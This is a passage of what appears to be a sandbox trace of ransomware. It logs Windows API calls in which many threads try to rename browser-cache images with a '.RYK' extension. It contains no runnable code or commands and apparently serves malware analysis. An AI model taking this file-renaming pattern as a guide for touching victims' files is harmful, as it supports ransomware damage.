	[0284.456] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3810
	os_tid = 0x4004

	[0284.457] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.457] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.457] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBOe7C[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbboe7c[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3811
	os_tid = 0x4008

	[0284.459] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.459] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.459] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.459] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPThN[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpthn[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3812
	os_tid = 0x400c

	[0284.460] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.461] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.461] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBPUFJ[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbpufj[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3813
	os_tid = 0x4010

	[0284.651] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.651] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBQxzx[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbqxzx[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3836
	os_tid = 0x4068

	[0284.831] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.831] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBseMP[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsemp[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3837
	os_tid = 0x406c

	[0284.832] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.833] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBsqNL[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbsqnl[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3838
	os_tid = 0x4070

	[0284.834] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.834] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.834] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.834] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBTpvW[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbtpvw[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3839
	os_tid = 0x4074

	[0284.835] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.836] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.836] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.836] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVEOW[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbveow[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3840
	os_tid = 0x4078

	[0284.837] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.837] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.837] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVGsM[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvgsm[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3841
	os_tid = 0x407c

	[0284.839] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.839] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.839] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.839] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVIzI[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvizi[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3842
	os_tid = 0x4080

	[0284.840] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.841] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.841] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVJ4r[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvj4r[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3843
	os_tid = 0x4084

	[0284.842] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.842] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.842] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.842] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBVxM8[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbvxm8[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3844
	os_tid = 0x4088

	[0284.844] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBz9wz[1].jpg", dwFileAttributes=0x80) returned 0
